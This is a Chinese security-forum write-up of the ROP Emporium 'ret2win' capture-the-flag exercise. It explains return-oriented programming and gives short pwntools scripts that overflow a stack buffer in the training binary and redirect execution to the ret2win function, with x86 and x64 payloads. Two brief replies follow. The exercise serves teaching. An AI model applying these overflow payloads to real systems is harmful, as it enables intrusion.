首页
社区
课程
招聘
[原创]ROP Emporium(一) ret2win
发表于: 2021-1-6 10:27 10259

[原创]ROP Emporium(一) ret2win

2021-1-6 10:27
10259

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。

该项目同时提供了Beginners' Guide : https://ropemporium.com/guide.html

该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。

未开启栈溢出保护

func main:

调用了pwnme()

func pwnme:

继续看,看到func ret2win:

基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win的地址就可以

结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64

-w827

-w850

payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)

-w729

 
 
 
 
 
 
 
from pwn import *
 
p = process("./ret2win32")
 
payload = "\x00" * 0x28 + p32(0xdeadbeef) + p32(0x804862C)
 
p.sendline(payload)
 
p.interactive()
from pwn import *
 
p = process("./ret2win32")
 
payload = "\x00" * 0x28 + p32(0xdeadbeef) + p32(0x804862C)
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 190
活跃值: (130)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
可以参考 https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.4_rop_x86.md
2021-1-6 10:32
1
雪    币: 33
活跃值: (172)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
firmianay 可以参考 https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.4_rop_x86.md
学长(俺也是xdu的),现在的题目好像更新了,虽然思路没变,但是有的ROPgadget好像找不到啊。。。
2021-1-10 21:23
0
游客
登录 | 注册 方可回帖
返回
//